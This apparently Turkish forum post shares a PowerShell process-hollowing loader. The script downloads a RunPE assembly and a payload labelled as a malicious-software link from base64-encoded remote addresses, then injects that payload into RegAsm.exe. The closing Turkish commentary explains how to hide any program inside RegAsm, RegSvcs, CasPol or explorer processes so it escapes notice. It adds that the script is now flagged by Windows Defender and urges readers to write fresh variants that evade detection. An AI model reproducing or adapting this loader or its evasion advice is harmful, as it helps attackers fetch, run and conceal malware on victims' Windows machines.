Process Hollowing Powershell

Add-Type -AssemblyName System.Net


function Main {
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12


$webClient = New-Object System.Net.WebClient


$rawAssembly = $webClient.DownloadData([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Runpe Dosya")))

# İkinci WebClient nesnesi oluştur
$webClient2 = New-Object System.Net.WebClient

$fileLink = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Zararlı Yazılım Direct Linki"))
$address = New-Object System.Uri($fileLink)


$array6 = $webClient2.DownloadData($address)


$parameters = @(
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe",
[string]::Empty,
$array6,
$true
)


$assembly = [System.Reflection.Assembly]::Load($rawAssembly)
$assembly.GetType("ProjectName.ClassName").InvokeMember("RunMethod", [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $parameters)
}


Main


Çok uzun zaman önce kullandığım bir process injection scriptiydi,daha detaylı açıklama isterseniz:

herhangi bir yazılımınızı gerekli RunPE kullanarak RegAsm/RegSvcs/CasPol/explorer vs vs gibi processlar içinde çalıştırabilir ve process hacker içerisinde istediğiniz yazılımı bu process name'ler ile saklayabilirsiniz ve bunu kullanarak piyasada kullanılan boş bat scriptlerinden daha kaliteli işler çıkarabilirsiniz. Scriptin kendisi windows defender tarafından detect şuanda,mantığını kullanarak yenilerini yazabilirsiniz.